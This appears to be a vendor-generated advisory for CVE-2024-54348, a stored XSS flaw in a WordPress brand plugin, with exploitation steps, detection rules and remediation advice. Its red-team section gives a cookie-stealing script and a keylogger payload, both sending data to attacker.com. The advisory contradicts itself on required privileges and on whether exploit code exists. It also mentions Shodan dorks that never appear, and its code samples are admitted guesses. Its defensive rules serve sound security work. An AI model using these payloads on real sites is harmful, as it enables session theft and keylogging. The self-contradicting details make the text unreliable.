CVE-2024-54348
Executive Summary
CVE-2024-54348 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brand plugin for WordPress, developed by Yaycommerce. The vulnerability affects all versions up to and including 1.1.6. An attacker with low privileges (e.g., a subscriber or contributor) can inject malicious JavaScript into the web page via the plugin’s input fields. When an administrator or other user views the affected page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for all installations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – An unauthenticated user can trigger the stored XSS if the plugin allows public submissions.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the potential for widespread WordPress installations make this a significant concern for site administrators.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input in the Brand plugin’s web page generation. The plugin likely accepts input via custom fields (e.g., brand name, description, or logo URL) and stores it in the WordPress database without proper sanitization or output encoding. When the stored data is later rendered on a page (e.g., in a brand listing or widget), the injected script executes in the context of the victim’s browser.
Attack Flow:
- An attacker submits a crafted payload (e.g.,
<script>alert('XSS')</script>) through a vulnerable input field. - The plugin stores the payload in the database.
- An administrator or other user navigates to a page that displays the stored data.
- The browser renders the payload, executing the malicious script.
Root Cause: The plugin fails to apply esc_html() or similar WordPress escaping functions before outputting user-controlled data. Additionally, input validation may be insufficient to block HTML/JavaScript.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the fix. The vulnerable code likely resembles:
// Vulnerable: Direct output without escaping
echo $brand_name;
A patched version would use WordPress’s escaping functions:
// Patched: Proper output escaping
echo esc_html( $brand_name );
Additionally, input validation should be strengthened:
// Patched: Sanitize input on save
$brand_name = sanitize_text_field( $_POST['brand_name'] );
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the Brand plugin version <= 1.1.6.
- A user account with at least “Contributor” role (or any role that can submit brand data).
Steps:
- Log in as a low-privileged user.
- Navigate to the brand submission form (e.g.,
/wp-admin/admin.php?page=brand-add). - Inject a payload into a text field, such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to view the brand listing page (e.g.,
/wp-admin/admin.php?page=brand-list). - The admin’s session cookie is exfiltrated to the attacker’s server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor for unusual POST requests to brand submission endpoints.
- Look for script tags or event handlers in brand-related database entries.
- Use WAF rules to block common XSS patterns (e.g.,
<script,onerror,javascript:).
Hunting:
- Query the WordPress database for suspicious entries:
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%'; - Review server logs for outbound connections to unknown domains from the WordPress admin panel.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or?keylog=parameters. - Unusual POST requests to
/wp-admin/admin-ajax.phpwith brand-related actions.
- Outbound HTTP requests to attacker-controlled domains containing
- Host:
- Presence of
<script>tags in thewp_postmetatable under brand-related meta keys. - Modified plugin files (e.g.,
brand.php) containing obfuscated JavaScript.
- Presence of
- File:
- Suspicious files in
/wp-content/uploads/brand/directory (if plugin stores uploads).
- Suspicious files in
Detection Engineering
YARA Rule
rule CVE_2024_54348_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Brand plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54348"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS via Brand Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts targeting the Brand WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-admin/admin.php?page=brand'
cs-method: 'POST'
cs-uri-query|contains:
- 'action=brand_save'
- 'brand_name='
condition: selection
falsepositives:
- Legitimate brand submissions with special characters
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-54348 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=brand_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in brand submission fields.
- Restrict user roles – Only allow trusted administrators to submit brand data.
Long-Term Fix:
- The vendor must release a patched version that properly sanitizes input and escapes output.
- As a temporary measure, site administrators can manually add escaping in the plugin’s template files (e.g., replace
echo $varwithecho esc_html($var)).
Monitoring:
- Enable WordPress audit logging to track changes to brand entries.
- Regularly scan the database for malicious content using the YARA rule above.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.